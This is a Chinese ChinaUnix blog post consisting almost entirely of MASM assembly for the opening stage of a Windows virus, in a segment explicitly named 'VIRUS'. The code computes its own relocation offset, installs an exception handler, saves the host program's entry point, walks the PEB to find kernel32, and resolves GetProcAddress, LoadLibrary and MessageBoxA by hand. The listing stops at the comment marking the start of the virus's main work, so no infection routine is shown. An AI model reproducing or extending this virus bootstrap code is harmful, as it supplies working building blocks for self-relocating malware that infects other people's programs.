Chinaunix首页 | 论坛 | 博客
  • 博客访问: 146725
  • 博文数量: 40
  • 博客积分: 0
  • 博客等级: 民兵
  • 技术积分: 410
  • 用 户 组: 普通用户
  • 注册时间: 2014-02-11 09:11
文章分类

全部博文(40)

文章存档

2020年(1)

2017年(36)

2014年(3)

我的朋友

分类: WINDOWS

2017-03-17 19:22:08


点击(此处)折叠或打开

  1. .386
  2. .model flat,stdcall
  3. option casemap:none

  4. include windows.inc
  5. include kernel32.inc
  6. include user32.inc
  7. includelib kernel32.lib
  8. includelib user32.lib

  9. .code
  10. VExit:
  11.     invoke ExitProcess,NULL
  12.     
  13. VIRUS SEGMENT PARA USE32 'VIRUS'
  14. ASSUME CS:VIRUS,DS:VIRUS
  15. ;***************************************************************************
  16. ;****************** 准备工作 *****************************************
  17. ;***************************************************************************
  18. VStart:
  19.     push    ebp
  20.     push    esp
  21.     
  22.     call    GetActualAddr
  23. GetActualAddr:
  24.     pop    ebp
  25.     sub    ebp,GetActualAddr
  26.     
  27.     ;设置SEH
  28.     assume    fs:nothing
  29.     lea    ebx,SEH[ebp]
  30.     push    ebx
  31.     push    fs:[0]
  32.     mov    fs:[0],esp
  33.     mov    oldEsp[ebp],esp
  34.     ;保存程序入口地址
  35.     cmp    old_base[ebp],0
  36.     jnz    @F
  37.     mov    old_base[ebp],400000h
  38. @@:
  39.     cmp    old_in[ebp],0
  40.     jnz    @F
  41.     mov    old_in[ebp],3000h
  42. @@:
  43.     mov    eax,old_base[ebp]
  44.     mov    des_base[ebp],eax
  45.     mov    eax,old_in[ebp]
  46.     mov    des_in[ebp],eax
  47.     ;kernel32基址重定位
  48.     assume    fs:nothing
  49. FindKernel32:
  50.     ;mov esi,fs:[30h]        ;Peb
  51.     ;mov esi,[esi+0ch]        ;LDR
  52.     ;mov esi,[esi+0ch]        ;InLoadOrderModuleList
  53.     ;mov esi,[esi]        ;[_LDR_MODULE.InLoadOrderModuleList].Blink
  54.     ;mov esi,[esi]        ;[_LDR_MODULE.InLoadOrderModuleList].Blink
  55.     ;mov esi,[esi+18h]        ;[_LDR_MODULE.InLoadOrderModuleList]. BaseAddress
  56.     MOV     ESI,FS:[30H]         ; ESI = &(PEB) ([FS:0x30])
  57.     MOV     ESI,[ESI + 0CH]     ; ESI = PEB->Ldr
  58.     MOV     ESI,[ESI + 1CH]     ; ESI = PEB->Ldr.InInitOrder
  59. next_module:
  60.     MOV    EAX, [ESI + 08H]    ; EAX = InInitOrder[X].base_address
  61.     MOV     EDI, [ESI + 20H]     ; EDI = InInitOrder[X].module_name (unicode)
  62.     MOV     ESI, [ESI]         ; ESI = InInitOrder[X].flink (next module)
  63.     CMP     word ptr [EDI + 12*2], 00h     ; modulename[12] == 0 ?
  64.     JNE     next_module         
  65.     MOV     ESI, EAX    
  66. GetPeHeader:
  67.     mov    edi,dword ptr[esi+3ch]
  68.     add    edi,esi
  69.     cmp    word ptr[edi],'EP'
  70.     jnz    short FindKernel32
  71.     mov    vKernel32[ebp],esi
  72. GetPeExportTable:
  73.     mov    ebx,[edi+78h]
  74.     add    ebx,vKernel32[ebp]
  75.     mov    vExportKernel[ebp],ebx
  76.     ;获取API函数GetProcAddress的地址
  77.     push    14
  78.     call    aGetProcAddr
  79.     db    "GetProcAddress",0
  80. aGetProcAddr:
  81.     lea    eax,GetApiAddress[ebp]
  82.     call    eax
  83.     or    eax,eax
  84.     jz    ExitTimes
  85.     mov    vGetProcAddress[ebp],eax
  86.     ;获取API函数GetModuleHandle的地址
  87.     push    15
  88.     call    aGetModHandle
  89.     db    "GetModuleHandle",0
  90. aGetModHandle:
  91.     lea    eax,GetApiAddress[ebp]
  92.     call    eax
  93.     or    eax,eax
  94.     jz    ExitTimes
  95.     mov    vGetModuleHandle[ebp],eax
  96.     ;获取KERNEL32.DLL模块的句柄
  97.     call    MKernel32Dll
  98.     db    "Kernel32.dll",0
  99. MKernel32Dll:
  100.     call    dword ptr vGetModuleHandle[ebp]
  101.     or    eax,eax
  102.     jz    ExitTimes
  103.     mov    Kernel32Handle[ebp],eax    ;调试发现Kernel32Handle=vKernel32
  104.     ;获取其他API函数的地址
  105.     lea    esi,bLoadLibrary[ebp]
  106.     lea    edi,vLoadLibrary[ebp]
  107.     cld
  108. LoopGetFunction:
  109.     lodsd
  110.     add    eax,ebp
  111.     push    eax
  112.     mov    eax,Kernel32Handle[ebp]
  113.     push    eax
  114.     call    dword ptr vGetProcAddress[ebp]
  115.     or    eax,eax
  116.     jz    ExitTimes
  117.     stosd
  118.     cmp    dword ptr[esi],0
  119.     jnz    LoopGetFunction
  120.     ;获取MessageBoxA的地址
  121.     call    MUserDll
  122.     db    "User32.dll",0
  123. MUserDll:
  124.     call    dword ptr vGetModuleHandle[ebp]
  125.     or    eax,eax
  126.     jnz    Right
  127.     call    LUserDll
  128.     db    "User32.dll",0
  129. LUserDll:
  130.     call    dword ptr vLoadLibrary[ebp]
  131.     or    eax,eax
  132.     jz    ExitTimes
  133. Right:
  134.     call    GetMess
  135.     db    "MessageBoxA",0
  136. GetMess:
  137.     push    eax
  138.     call    dword ptr vGetProcAddress[ebp]
  139.     or    eax,eax
  140.     jz    ExitTimes
  141.     mov    vMessageBox[ebp],eax
  142. ;***************************************************************************
  143. ;****************** 开始干活 *****************************************
  144. ;***************************************************************************
阅读(992) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~